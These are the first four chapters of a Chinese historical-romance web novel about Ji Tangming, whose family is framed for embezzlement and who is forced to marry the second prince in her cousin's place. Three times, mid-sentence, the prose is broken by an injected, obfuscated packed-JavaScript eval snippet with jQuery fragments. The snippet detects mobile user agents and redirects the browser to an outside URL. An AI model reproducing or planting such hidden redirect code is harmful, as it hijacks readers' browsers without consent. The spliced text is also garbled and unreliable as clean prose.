《替嫁了暗恋我的阴湿男鬼》
1. 雪中入狱
纪棠明一家老小入狱候斩时,栽赃构陷了他们的兵部尚书府,还在热热闹闹的给独女办出阁宴。
正月里的京都恰是最冷的日子,大雪漫天,檐角脊兽都被遮得瞧不出模样,街头巷尾只有晨昏定省的更夫走动。
今晨骤雪方歇,兵部尚书府的高门前就挤了十几辆马车,题着姓氏的挂灯高悬,来得不是簪缨世家,就是豪门显贵,都上赶着往关府门里挤。
关致中原本就是正二品大官,颇为圣上器重,如今独女得了赐婚要嫁给二皇子,更是如日中天,跻身皇亲国戚之列。
素日与关致中交好的、交恶的,此时都不得不腆着个脸携礼上门贺喜。
才被关府下人们迎进门,众人就被院子摆了一道又一道的聘礼吓住了。
系着红绸的大大小小鎏金檀木盒里,哪些不是金银珠翠玛瑙,单拎出去一个也是价值连城。
关家家主与主母前去迎客,春风得意,宴席摆了十几桌,山珍海味一应尽有。
“恭喜老爷夫人,姝儿出阁,又是这般好的姻缘,我等实在是艳羡。”杜夫人一见肖临贞,脸上便笑开了花。
“杜夫人客气。”肖临贞嘴上笑着回应,心里不免冷笑。
京都谁不知户部侍郎家的杜夫人是出了名的孤傲,但凡设宴,谁来都请不着。只可惜头个生的郎君实在不是读书的料,考了三年才中举,如今为了自家儿郎的仕途,不得不到处攀交贵臣。
她今日肯来参加出阁宴,倒是一桩罕事,给足了关家面子。
肖临贞迎上一众夫人们略略愕然的目光,心中说不出的畅快。
“夫人教女有方,姝儿容貌出众,连才情也是京都一等一的好,若不是早早许了二皇子,恐怕明年求娶的公子要把门槛都踏破。”
“是呀,只盼早日抱上皇孙,那时才是肖夫人颐养天年、享清福的时候呢。”
一众夫人围着肖临贞尽说好话,听的肖临贞一阵心花怒放,险些忘了今日还有大事要办。
席间觥筹交错,投壶的投壶,把酒言谈的把酒言谈,美酒香飘了十里,好不热闹,今日喜庆布置的新妇闺房却静得吓人。
关静姝瘫坐在闺房里,平日张扬的脸上如今没有一丝血色,发髻歪歪斜斜耷拉着,脸色难看至极。
手里能砸的都砸了,只剩那件绣着金线的鸾凤嫁衣被下人们以身子死死护着,才没被毁坏。
事情会发展到如今局面,关静姝是没料到的。她原以为阿爹阿娘疼爱自己,只要哭一哭,闹一闹,就不必嫁了。
可谁知,他们铁了心要攀皇家高枝,哪怕她的身子已经许了人。
关静姝扫了一眼跪了一地的下人们,指着边上那个长相还算清秀的丫鬟,冷冷道:“明日,你替我穿上这身嫁衣。”
那丫鬟吓得直哆嗦,连连磕头:“小姐饶命!奴婢……奴婢身上有胎记……”
“那你呢?”
另一侧的丫鬟伏在地上,哭得泣不成声:“奴婢……奴婢实在不敢……被二皇子发现了,可是杀头的罪过……”
关静姝冷笑一声。方才肆意发泄摔了房中好些花瓶字画,此刻冷静下来,她反而颇有耐心,捏着地上丫鬟们的脸一一看过去。
“可惜了这些花容玉貌的脸,既然不能为我所用,那留着又有何必?”
丫鬟们还未反应过来话中意味,关静姝已经攥着一把匕首走了过来,明艳的脸上挂着近乎癫狂的瘆人笑容,她高高举起匕首,正欲刺下去,房门被人一脚踹开了——
“阿娘?”
关静姝扬起的手迟疑在半空,底下丫鬟惊慌四窜,哭喊声此起彼伏,吵得人心烦。
肖夫人从屋外走进来,珠翠满头,照得屋子都亮堂了不少:“今日府上宾客众多,闹出这么大动静,是想让他们都知道你的丑事不成?”
屋内安静了一瞬,只余丫鬟们断断续续的呜咽声。
关静姝心中愤懑,她被禁足多日,今日才得以见到母亲,却被好一通训话,往日哪里受过这种委屈?
她眼里都汪了泪:“女儿就是不想嫁那二皇子,性格阴晴不定,整日寻欢作乐,嫁过去就算日后封了王妃又如何,他这种人怎会真心待我。”她丢掉匕首,赌气似地坐在了床榻上,偏过头不去看母亲。
“可你这是何苦,圣上岂会因为你不愿就收回圣旨?自己白白气坏了身子。”
肖夫人瞥一眼地上的狼藉和泣不成声的丫鬟,不禁叹了口气,捡了张完好的椅子坐着说话:
“如今几位皇子为了储位争得头破血流,二皇子无心政事,是好事。陛下不过四个儿子,将来有几个王妃的位子可以坐?大婚一事,我和你父亲已有了主意,你既如此不愿嫁,往后就老老实实待在府上。”
见母亲话有转机,关静姝面露喜色,随后又迟疑道:“聘礼都送来了,陛下竟会允诺退婚?那府上来贺喜的宾客又是……”
“退婚?”肖临贞没好气道:“你父亲好歹也是朝中有头有脸的人物,如何能找圣上退婚?连我这个深闺妇人面上都挂不住。今日宴请宾客送你出阁只不过是做做样子,全了礼数以免猜疑。”
关静姝心里一紧,瞬间没了底:“那要如何?”
“还记得纪家那丫头吗?”
关静姝蹙着眉点了点头,那是母亲胞妹的女儿,与她年纪相仿,只不过父亲任江州知县,家不在京都。
婚约依旧作数,还与她那远在乡下的表妹扯上了干系……母亲想如何周全,她心里已经隐隐有了猜测。
“可我素来与她不熟,她如何愿意替我出嫁?”
肖夫人润了一口茶,道:“这你无需操心。今夜她便会抵京,到时我自有法子让她心甘情愿。你万万不可再抛头露面,以免黄了计策。”
关静姝攥着帕子微微点了点头。
待嫁的新妇不得见外人,直到府上筵席尽散,关静姝都一直守在闺房里。可到了夜半,月上枝头,母亲那边却迟迟不见来消息。
她心里不踏实,等得心急,便遣了院里的嬷嬷去外面打探打探情况,约摸去了一个时辰,嬷嬷回来了。
关静
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405666|200490||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姝忙凑上去道:“如何?”
嬷嬷神色有些凝重,但如实汇报:“纪小姐的确是来了京中。可……是被官吏押进来的,听说是纪老爷贪污了二十万两赈灾款。连同祖母夫人一同入了狱。”
关静姝跌回在椅子上,心下分明了。前些日子她无意间听阿娘说起,陛下如今派御史台严察百官,阿爹之前有一笔来历不明的银钱入库,正愁没个由头安置,数额恰巧也是二十万两。
不知怎得,听闻此,关静姝心里竟有些畅快。
多年前的那场踏春宴,旁人未必记得,她却拜纪棠明所赐,丢尽了脸面,此生难忘。关静姝想起那日情形,恨得指尖生生掐进肉里都不觉痛。
好一个江州才女,好一个貌若霜华,如今她纪棠明还不是要巴巴的替她收拾烂摊子。
……
御书房内。
红袍玉带的大臣横七竖八跪了一地,那头的圣上却迟迟不发话,扶额沉思了整整一炷香。
六角异兽香炉内燃着袅袅龙涎香,气味安神,却平息不了天子怒火。
“二皇子到——”
殿外太监话音刚落,陛下皱着的眉头总算舒展开来,朝着那头拾阶而来的清俊身影道:“煜儿,此事你当如何?”
殿前跪着的大臣闻此,不免疑惑,心下揣测连连:二皇子向来偏安一隅,怎么突然插手江州水患一事?
还未想出个名头,二皇子款步行至桌案前,屈膝请安,温润如甘冽泉水的嗓音回荡在殿内:“儿臣觉得,此事牵扯甚广,不宜过早定罪。”
“其一,纪家祖母江夫人,是威远大将军嫡长女,也曾是父皇亲封的一品诰命夫人,如今年岁已长,理应给几分薄面,实在不宜连同纪廷修一并下狱。至于纪夫人与两位千金,虽然按大启律法也该受罚,定罪之前还望父皇网开一面,暂且免了牢狱之苦。”
“其二,江州地处三江交汇之地,我朝历来重视水利,这次水患来的实在蹊跷。再者,儿臣认为纪廷修贪污赈灾款二十万两一案有疑,纪县令任职以来政通人和,颇受百姓爱戴,此事不像他素日所为。恳请父皇命儿臣彻查。”
陛下略垂眸点了点头:“这几日上书替纪廷修说好话的奏折都快堆到外头去了,是该重视。煜儿,你可有依据?”
段则煜敛容端立:“并无。只是儿臣的猜测。”
“那便着手去办罢。刑部尚书、大理寺卿与兵部尚书交情颇深,纪廷修又是兵部尚书的连襟,交给他们恐怕有失偏颇,此事交由你正好。”
段则煜躬身领旨,嘴角不禁漾起一抹笑。
余下几位大臣欲起身反驳,被段则煜笑意盈盈的一句话噎住了:“各位大人跪了一上午,定然累了,不如早点回去休息,明日好来参加我的大婚。”
说罢,甩甩袖袍迈出了殿门,留余下几位大臣梗着脖子说不出话。
月色铺了一地的银辉,段则煜佯装散步,在宫门外兜了几个圈子才踏上宫道旁小径里藏着的马车,吩咐道:
“去大理寺狱,会一会这皇子妃。”
2. 你是何人
京中牢狱的看守严丝合缝,巡逻的衙役也都是生面孔,纪家五个人刚来不过两个时辰,便已辗转了四五队护卫之手。
只不过这最后一队人有些奇怪,不似其他衙役对他们呼来喝去,反而松弛散漫,毫无纪律,平白透着一股怪异。
纪棠明被蒙着面,只能靠听。
之前接手他们的四队衙役都是八人,首尾各两人,步伐一致,走起路来兵甲相鸣,定是身上佩着长剑。
这一队却不一样,步音杂乱,走得也极为慢条斯理,像是在刻意拖延时间。
走了约摸半个时辰,他们才被送进了牢房里面。
牢房不大,四周墙壁潮湿污浊,地上只铺有干草以供抗寒,一张缺角的木桌,一方水盂,便以足览。屋内没有生火的用具,尽管外面大雪纷飞,里面的人却只能生生的挨冻。
纪棠明尽量坐在中间,想离周围那些黏糊湿润的墙远一些。牢房四周只偶尔有路过巡逻的护卫,几个人憋了许多天总算敢交谈了。
纪廷修叹了一口气,道:“既到了牢中,想必审问也不远了,我若不认罪,刑部那些人定不会善罢甘休。陛下宽厚,我会求他饶恕你们,若我出了事,阿怜、明儿,你们带着祖母……”
纪棠明和纪夫人双双伸手捂住了他的嘴。
“爹爹不许说丧气话。陛下明察秋毫,肯定不会叫我们蒙冤,没有做过的事,如何无中生有?这其中定有误会。”
“贤郎,明儿说的有理,你就不必再挂心了。“
纪廷修看着夫人和女儿,心中感动,郑重点了点头。
自前些日突然被抄府押送入京,纪家五口人就没过一天安生日子。
祖母年迈,原本身子也爽利,经由这次变故受了打击,时常昏昏沉沉说着胡话,押送衙役却不肯替他们叫来大夫。荣儿年纪尚小,途中受了风寒,眼下额头烫的犹如火烧,肖夫人也只能从路边捧了新雪替她擦身子。
纪棠明想到此,眼眶酸涩,却不敢哭,硬将打转的泪水咽了回去。
她一定要赶在定罪之前,找到替父亲脱罪的证据。
纪棠明小心翼翼从袖口中拿出一枚小巧的竹哨,这是抄家那日被衙役带走前,她趁乱藏在身上的。经过几轮搜查,侥幸没被搜了去。
竹哨作为信物,眼下是传递消息唯一的指望。纪家这间牢狱在过道尽头,鲜少有衙役专门路过,她见四下无人,悄声踩着桌子想扒到铁窗上,可指尖不过堪堪摸到窗沿。
还差一点距离。
纪廷修赶过来托住了她的脚,一腿踩在桌上示意纪棠明借力上去,纪夫人肖怜则在牢门口望风。
纪棠明点点头,借着父亲的力道,终够到了铁窗的位置。她拿起竹哨,哨音低缓幽长,不易被看守察觉,不多时,窗外盘旋的信鸽由远及近闻声而来。
铁窗缝隙狭小,勉强够她把胳膊伸出去,也恰好够小风在窗台上歇脚片刻。纪棠明将竹哨系在了它腿上,轻挠了两下腹羽,小风会意,压低翅膀,瞬间像箭一样俯冲了出去。
“酉时已到,送晡食——”
那头敲锣打更声遥遥传来,纪棠明心下一惊,忙从桌子上跳下来,将鞋印擦干净。一家人靠回墙壁,好似什么也没发生,心却如擂鼓一般咚咚跳个不停。
下一瞬,就有一位仓蓝色衣着的衙役开锁送菜。说是晡食,不过是三个硬馒头,五碗稀粥,吃得还不如乡下老家的阿黄。
那人放下碗筷,飞快扫了五个人一眼。
他站着未动,纪棠明心中不禁有些慌乱,暗暗攥着袖摆强装镇定,生怕他瞧出自己额角还未来及拭去的汗珠。
忽然,那人四下张望一圈,俯身压低声音道:“今夜四更,会有一名悬着黄玉玉佩的人来接应,到时跟他走。”他神色如常,说完这话就退出了门外重新落锁。
纪棠明的心狂跳了起来。
这一路押送途中,她就隐隐觉得好似有人暗中相帮。
先是抄家之时,典狱押了阿爹阿娘,却迟迟没派人来她房中,给了她拿到暗格竹哨的机会。
又是押送路途天寒地冻,带头的刘司狱破了戒律,与一众衙役饮酒取暖,招来本该冬眠的毒蛇,兵荒马乱,给了她偷酒的可乘之机,要不然一家人怕是挨不到京都。
如今看来她猜得不错,果真有人要帮他们。
父亲同僚鲜有在京中任职的,也必不敢做出私放罪臣的事来,那究竟是何人要接他们出狱?
纪廷修与夫人同样震惊,一家人一时半刻竟想不到哪位高官会愿意为他们冒如此风险。
“莫非……会是妹妹家?”纪夫人迟疑道。
“家中出事,姨父作为兵部尚书定然提前知晓,若有心相帮,为何不早些告知我们,而是等到此时再派人来?”
纪棠明怎么想,都觉得其中有鬼。
纪夫人也隐隐觉得有些不安心,道:“临贞虽与我为胞妹,但她性子桀骜,素来与我不大和睦,平日里也鲜少来往,此番的确不像她所为。可除了妹妹家,我们并未有过结交的权贵。”
“眼下这些疑惑,恐怕要见到那位接应的人才会有答案。等在狱中是死,私逃也是死,不如斗胆一回,也好死得明白些。”
纪廷修甩袖叹了口气,“只可惜荣儿还那么小,明儿尚未出阁,豆蔻年华全被我这一把老骨头给毁了。”
纪棠明鼻子一酸,握住了父亲清瘦的手:“爹爹切莫自责。若执意责怪,便怪这世道不公,叫好人蒙冤。”
眼见一家子又要恸哭,纪夫人掩袖拭了拭泪,佯装嗔怪道:“陛下还没说要治你们的罪,怎就如此悲观起来?关关难过关关过,只看今夜如何。”
荣儿靠着祖母睡得正香,不知是不是听到了方才的只言片语,梦中一直呢喃着要回家。纪棠明笑着摸了摸她的脑袋,轻声道:“我们荣儿马上就能回家了。”
月上枝头,清明的月光透过牢房小窗洒在地上,月是同样的月,与从前相比却不免凄寒。
一家人数着打更声到夜半,一刻不敢阖眼,直到几个人再也撑不住困倦的眼皮,终于盼来了第四更。
打更声一停,远处便有一道不急不徐的脚步声由远及近,带着些许散漫松弛,仿佛那人不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405667|200490||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
行走在牢狱之中,而是在拈着一枝花漫步闲庭,游满园春色。
纪棠明的神色却罕见地凝重了起来。
寻常来接应的侍卫不会如此招摇。
纪廷修将夫人护在怀里,静静听着外面的动静,已经做好了最坏的打算。
在他们门前,这脚步声停了,纪棠明的心也揪起来了。
来人一袭黑衣斗篷覆面,看不清面容,只是侧身悬着的黄玉玉佩在一片黑色中格外晃眼。
纪棠明瞪着那明晃晃的玉佩,攥紧了衣袖,看着他轻车熟路打开牢门,朝她伸出了手。
这手五指修长,保养得极为得当,若不是指节格外分明,恐怕会被误以为是哪位妙娘子的纤纤玉手,怎会是寻常侍卫。
哪怕他佩着那衙役口中的黄玉玉佩,换作平日里的纪棠明,她是万万不会轻信此人的,可眼下她没有选择的路。
来人极有耐心地端着手,也不理会牢中其他人的反应,只盯着纪棠明一个人。
他蒙着面,虽看不清脸,但纪棠明似乎能想象到面具下那双如炬的眼神。她攥着衣摆的指尖泛白,有些微微发抖。
他们一行人才来京城狱中,还未受过刑部大人的审讯,若有机会逃出去,今晚恰是最好的时机。可此人身份未明,若是轻易跟他走,岂不是另一个龙谭虎穴?
纪棠明深吸了一口气,试探着将手搭了上去。
他的手掌温热,掌心与五指衔接处边缘带着薄茧,蹭过他手心时,那种细密的酥痒感让纪棠明不禁打了个寒颤。
这双手很好看,绝不是常年行走在行伍之中或干粗活磨出来的茧,主人大抵只是喜欢舞枪弄剑。
纪棠明的目光落在了他垂在身侧的左手,突然心生一计。
她扶着那人的手臂站起身,突然身形不稳,故作崴脚向他怀中跌去,慌乱中借力抓住了那只左手。
没有茧。
那人似乎愣了一下,随即反应过来,将趴在他身上的纪棠明推开,下一瞬,一柄冰冷的长剑抵在了她的脸上。
“别耍花招。”
纪棠明跌坐在地上,长剑让她被迫仰起了头。她有些错愕,依手来看,这人年纪尚轻,嗓音竟是这般的低沉嘶哑。
“让我跟你走,总得知道你的身份吧?”纪棠明不知哪来的勇气,冲他生硬道。
那人轻笑一声:“不如先回头看看。”
纪棠明闻声回头,陡然一惊:祖母荣儿和阿爹阿娘仿佛睡着了一般横七竖八倒在地上,只有微微起伏的胸腔表明还尚有呼吸。
究竟是什么时候下的药……为何唯独她没有感受到?此刻她笃定了,这人分明只是冲她来的。
纪棠明的指甲狠狠掐进肉里,泛起一片血红,痛感却没有唤回理智。
“不必担心,只是暂时让他们睡一会。”
月光下,剑身映出她的泪水沿微微颤抖的脸庞滚落。
见纪棠明不应,他冷哼一声,将剑收了回去:“除了跟我走,难道你还有得选?”
纪棠明擦了眼泪:“……跟你走,可以。不过我有两个条件。”
3. 任你处置
他将剑入鞘,靠在门边轻轻扬了扬头,示意纪棠明继续。
她不知此人,或者他背后主子煞费心机安排的目的是什么,但可以肯定的是,她对他有利用价值。
他能轻易买通刑部牢狱的侍卫,神不知鬼不觉放下迷药,又夜半三更偷来钥匙闯入狱中,说不定……连押送他们的衙役都与他是一伙的。
或许能以自己为筹码,要挟他救出家人。
纪棠明平复心情,镇定道:“我想要的很简单,你既敢堂而皇之带我出来,想必对你来说不是什么难事。父亲受诬陷入狱,其一,便是护我家人周全;其二,赎回我的贴身丫鬟霜儿。其他如何,任由你处置。”
那人好整以暇,抱着剑换了个方向靠着:“仅仅如此?”
“仅仅如此。”纪棠明沉声道。
话音刚落,那人便解下了身上斗篷,纪棠明还没来及看清他的脸,就被巨大黑斗篷一罩,随后脚底一软,人被打横扛了出去。
纪棠明被黑袍蒙着头,上面有一股带着栀子味的清香涌入鼻腔,黑暗中,只能听到自己剧烈的心跳。
哪怕早已料到他就是来绑架的,如此明目张胆的行径还是让她有些始料未及。纪棠明在心里暗骂,却只能由他带着自己横冲直撞。
这人功夫了得,带着她依旧身轻如燕,纪棠明看不见他是如何绕开大理寺守卫,只觉得天旋地转了一会儿,人已经稳稳落地。
重见天日,是牢狱外的一片红梅林。
纪棠明扶着树晕乎乎站起身,在雪地里几个踉跄,再次站直身子,那人已不见了。她四下张望,周遭只有无垠白雪和被雪压低了枝头的簇簇红梅。
纪棠明猜不出那人为何将她放到这片红梅林,但此处离大理寺狱并不远,不可久留。她不敢掉以轻心,一脚深一脚浅走了不过几步,就因手脚冻得发麻跌在了雪地里。
脚已失了知觉,踩在地上四肢都在颤抖,纪棠明忍痛挪到了一棵繁密的树下,只能蜷缩着呼气暖手。
这里月明星稀,凉风习习,雪中红梅如雾气一般蔓延了数十里,香气沁人心脾。
此般美景,不由得让纪棠明纷乱的心安静了片刻,不过仅慨叹了一瞬,就被远处的动静吸引了视线。
百米外的梅林隐约传来窸窸窣窣的声响,似有声势浩大的一队人在朝这边搜寻过来,天光处隐约可见一片晃动的火光。有梅林掩盖,她看不清那些人的装束。
莫非是大理寺的人已经发现她不见了?
纪棠明的心狂跳起来,近乎是手脚并用的从地上爬起来将雪地上的脚印抹了个干净。
她提着衣摆铆足了劲朝反方向跑去,鼻尖冻得通红,脚下锥心的剧痛一阵阵传来,却丝毫不敢松懈。
腥红的梅花花瓣像是由血染就的,透着一股吞噬人的煞气,那轮弦月此刻也像衙役手中的利刃,晃得她眼睛生疼。
纪棠明又想起了那日抄家,身后也是这般戈甲相鸣、火光冲天的景象。
阿爹阿娘,祖母和妹妹还在等她,她必须逃出去。
纪棠明脚尖剧痛,她咬着牙不让泪流出来,一路跑的磕磕绊绊,突然腿脚一软,重重摔在了雪里。
卷起的裙摆下脚腕浮肿,红得能透血,她扶地想站起身,却怎么也爬不起来,手脚已经冻得太久了。
身后那队人近了,前方开路的一个仆役见附近雪地上有痕迹,连连高呼:“在这里!”其余人举着火把闻声赶来。
纪棠明用尽最后一丝力气挣扎起身,四肢百骸痛得仿佛要裂开,视线渐渐模糊,气力不支跌回了地上。
听动静来者众多,仅凭她一个人,恐怕是逃不了了。
纪棠明乏力合了眼,脑海中浮现了祖母和荣儿还有爹娘的笑靥。
听说京都的梅子糕很好吃,她还没有来及带爹娘和荣儿尝过。
……
“明儿!明儿!”
一声火急火燎的呼唤传来,纪棠明以为是自己被冻出了幻觉,朦胧中睁眼,一张熟悉的脸却映入眼帘:“明儿,你受苦了……”
妇人金钿耀目,此刻却抹着泪将她扶了起来,连佛头白玉貂皮斗篷染了雪都不顾。
“姨母……”纪棠明喃喃一声,倒在她怀里昏了过去。
再睁眼,则是尚书府内。
房中有一股若有若无的檀香,八角异兽宝炉内燃着银丝炭,暖和得让人昏昏欲睡。
脚腕的伤口上药包扎好了,纪棠明也恢复了些气力,整理思绪,想必那人真是姨母家派来接应的。
外边天色未亮,纪棠明揣测自己只是略略昏睡了半个时辰。
她仿佛大病初愈了一场,身子虚脱无力,才堪堪扶着雕花床沿坐起身,有一队丫鬟捧着大大小小金丝檀盒走了进来。
“……这是?”
丫鬟们在她床前站成两排,端着檀盒站定,姨母笑容满面地从门外走进来,一身珠光宝气晃得纪棠明不禁眯了眯眼。
“明儿,身子可还好?我叫人拿了御赐的活淤膏给你用,想必你身上的淤青已散了大半吧?让姨母看看,如此细嫩的皮肤可不能留疤痕。”
纪棠明轻唤了声姨母,起身行礼却被她扶了回去。
肖临贞笑着坐在床边端起了她的手细细打量,满意道:“此物果真好用,不过两个时辰,淤青竟真的散了。再拿胭脂遮一遮,保准看不出来。”
“多谢姨母挂怀,此等小伤不碍事的。不知阿爹阿娘怎样了?姨母周密安排将我从狱中接出,明儿不知怎么感谢才好。”
纪棠明说着,泪水盈满了眼眶,对姨母行了个跪拜大礼。
姨母贵为尚书夫人,是京中勋贵人家夫人的仪范,虽与纪家分居两地,鲜有来往,大难之际却愿意替他们涉险,实在是感激不尽。
肖临贞愣了几息,揣摩着纪棠明的话,随后脸上又浮现出了熟悉的笑容,客套道:“明儿说这些干什么,这都是姨母应该做的。你放心,狱中我们已经打点过了,刑部尚书与你姨夫是同僚,不会为难他们的。”
纪棠明感动得说不出话来,含着泪连连点头。
肖临贞见她这模样很是满意,抬手拿帕子替她拭了拭泪,叹口气哀伤道:“明儿自幼是懂事的好孩子,姨母在京中也常常惦念着你们
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405668|200490||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,只恨不能将你和荣儿接过来与姝儿为伴。”
场面话纪棠明听的多了,闻言只点了点头,并没有放在心上。
肖临贞端详着纪棠明的反应,又道:“近日尚书府也是大难临头了,你那不争气的姐姐惹了大祸,险些赔上了你姨夫这身官袍。姨母近日愁得茶不思饭不想,还要筹谋着接你出狱,实在是分身乏术,若有招待不周,还望明儿体谅着。”
听到此,纪棠明心下分明,不由得冷笑一声,原来周旋这么久,目的竟是如此。不过她倒是有些好奇,连姨夫姨母都没有办法的事,如果笃定她就能做到?
纪棠明嘴上功夫做的周全,又拈起帕子拭泪,柔弱道:“姨母这是哪里的话,能得姨母照拂,明儿只怕无以为报。若有明儿能帮得上忙的,姨母尽管开口,我只盼父亲能早日昭雪。”
姨母在京中势力盘根错节的明争暗斗中不落下风,必然有手段,也必不会做赔本买卖。不过哪怕她别有所图,能换来家人平安度过此劫,纪棠明依旧感激。
肖临贞很满意,连连点头,拉着她说了好些体己话,又吩咐丫鬟带她沐浴更衣才姗姗离去。
出了院门,肖临贞眼角的笑意便荡然无存。底下替她接应的嬷嬷心里不踏实,见夫人出来,连忙迎了上去:“夫人,如何?那纪小娘子嫁还是不嫁?”
肖临贞冷笑一声:“嫁与不嫁,哪里由得了她。你准备着便是,明日她不上,绑也要给我绑上花轿。”
嬷嬷神色闪过一丝忧虑:“可大理寺那边难以插手,若她发现我们帮不上忙,索性鱼死网破告诉了陛下可怎么办好。”
肖临贞脚步顿了顿,道:“瞧她那懦弱不堪的样子,她怎么敢?”
“奴婢也是担心。纪小娘子与霜儿自幼一起长大,如今见面,保不齐要一起想出什么计谋来,那霜儿大难不死,也是八字硬。”
肖临贞大骇:“什么?霜儿何人,我怎么不知?”
嬷嬷显然也吓了一跳,拂着胸口道:“也是方才的事,奴婢还以为是夫人安排的,就给带进来了。霜儿是纪小娘子在江州府邸的丫鬟,今日府中喜事,老爷特命护院早些回去歇息,宾客也散的早,那丫头被捆着丢在了门前,谁也没见着,她自己被蒙着面,也说不清是如何来的,只知道有人专门赎了她送到关府,细问下了才知竟是纪姑娘的贴身丫鬟。”
“真是蠢的!倘若叫有心之人知道了,事情可不就败露了?我怎会接一个早早被发卖的丫鬟过来,也不动动脑子。”
肖临贞气得不轻,“此事莫叫第三个人知道。去查查送来霜儿那人什么来历,还有,为何纪棠明从狱里接回来了,派去的侍卫却不见了?”
“是,是。”嬷嬷领了命令,紧张得脑门冒了一层汗,欲言又止道:“那厮喜好喝酒,可能是将纪姑娘放在那里,自己……自己又嘴贪了罢。”
肖临贞一听,气得气血上涌:“养你们这群废物有什么用?这种小事都办不好!还不快去查?”
嬷嬷连连称是,急匆匆出了院门,可脚刚踏出去又顿住了:没人见过霜儿怎么来的,这她一个老婆子该如何查起?
4. 上了花轿
纪棠明今早睁开眼,便知姨母想要叫她做的是什么了。
床榻外的纱幔已然换成了绣着并蒂莲的榴红锦幔,入目皆为喜庆的大红色,连屋内桌案都不知何时铺就了囍字锦垫。
纪棠明望着眼前种种,一股凉意漫进了心底。
她早知姨母不是好对付的人,可替嫁一事兹事体大,嫁的还是位皇子,竟没有过问她的打算。
捧着红绸檀盒的丫鬟们鱼贯而入,神色如常的为她梳妆、挽发,好似她们家的小姐一直是眼前这位。
纪棠明任由她们摆弄,直到朱红织金的衫裙霞帔层层叠叠穿在她身上,累丝金凤钗、缠枝莲纹小钗饰了满头,她才发现心里竟也压的喘不上气来。
“纪姑娘,新妇要笑着出嫁,去了夫家才能和和美美。”
镜中的女子美目流盼,洗脱了昨夜身上污泥,如今只剩金尊玉贵、惊艳绝伦。纪棠明勉强牵起一抹笑,却怎么瞧着都像哭。
嫁与不嫁,她没有选择的余地,只能暗自做好打算。若是此番被人瞧出什么不对,须得自己认下这欺君之罪,以保姨夫姨母能替父亲洗脱污名。
只要家人平安,她何事都做得。
“小姐!”
屋外扑进来一个灰不溜秋的丫鬟,与闺房内的华贵喜庆格格不入,纪棠明定睛一看,才发现竟是霜儿。
泪水在眼眶里打转,纪棠明鼻子一酸,委屈涌上心头,主仆二人正要相拥着喜极而泣,却被一旁的丫鬟们拉住了。
“霜儿姑娘,先去梳洗吧,免得弄脏了喜服。”迎上纪棠明疑惑的目光,为首的丫鬟冲她施以一礼,回道:“纪姑娘不必担心,夫人点了尚书府的折春与霜儿同做陪嫁丫鬟,只是稍后才能过来。”
见状,霜儿宽慰道:“小姐,奴婢一会儿就来。”
纪棠明心里大石头落了地,看着灰头土脸的霜儿如释重负地点了点头,目送她被一众丫鬟送去梳洗。
霜儿自幼就跟在她身边,姨母愿赎回霜儿给她做陪嫁已是留足了情面,若有她作陪,纪棠明也能有些慰藉。
心里念着有霜儿在,纪棠明心里安定,繁复的婚仪也不觉得那么苦闷了。
今日整个尚书府红妆满目,朱红大门上挂了鎏金双喜匾额,庭院青石道铺着红毡,两侧廊下挂满喜灯,灯穗飘飘。
出嫁前更衣净身、祭祖辞亲的程序繁琐,霜儿寸步不离,防着主子被人拐跑似的跟着她,主仆二人诉着长短,又是一阵哭哭啼啼。
所幸霜儿被赎回的及时,还未受什么皮肉之苦,只是在别人家做了几日粗活而已。纪棠明便宽心了。
卯时方至,关府外锣鼓喧天,红绸彩灯挂了十里远,关家新出嫁的小娘子嫁妆摆了长乐大街整条街,送亲丫鬟们红衣点翠,捧着各色宝扇锦盒,望也望不到头。
因是皇子娶亲,礼制繁复,迎亲队伍里有内府大臣女官、皇城禁军相送,浩浩荡荡,着实气派。
街边民众簇拥着迎亲队伍,想讨个好彩头,关府也大方,除了施撒红枣糯米等寻常物,索性沿街散铜板,整条街都被围得水泄不通。
人人都称赞关小姐国色天姿,名门贵女,岂知喜轿中如今坐着的是个罪臣之女。
纪棠明端坐轿中,严妆盛饰的芙蓉面掩在一方红盖头下,明眸皓齿,恍若天人之姿。藏在金线双鸾喜服下的手却不可遏制地微微颤抖。
她与表姐虽然身量相像,长相却迥异,一个柔情似水弱柳扶风,一个艳若桃李楚楚动人。何况纪棠明还自幼住在乡下,喜好性格皆不同,要瞒天过海,如何能不忧心?
可眼下除了她去,没有其他两全其美的法子。
纪棠明在心底反复默念着姨母临行前的交代。
二皇子段则煜不通政事,富有才情,好诗书字画。生母赵皇后过世早,嫡长兄大皇子常年卧病,兄弟二人皆无心夺储,与关家联姻也是平权之举。
至于性格,民间传言他好寻花问柳,时常出入花楼听曲赏舞,性格也乖张难以捉摸。
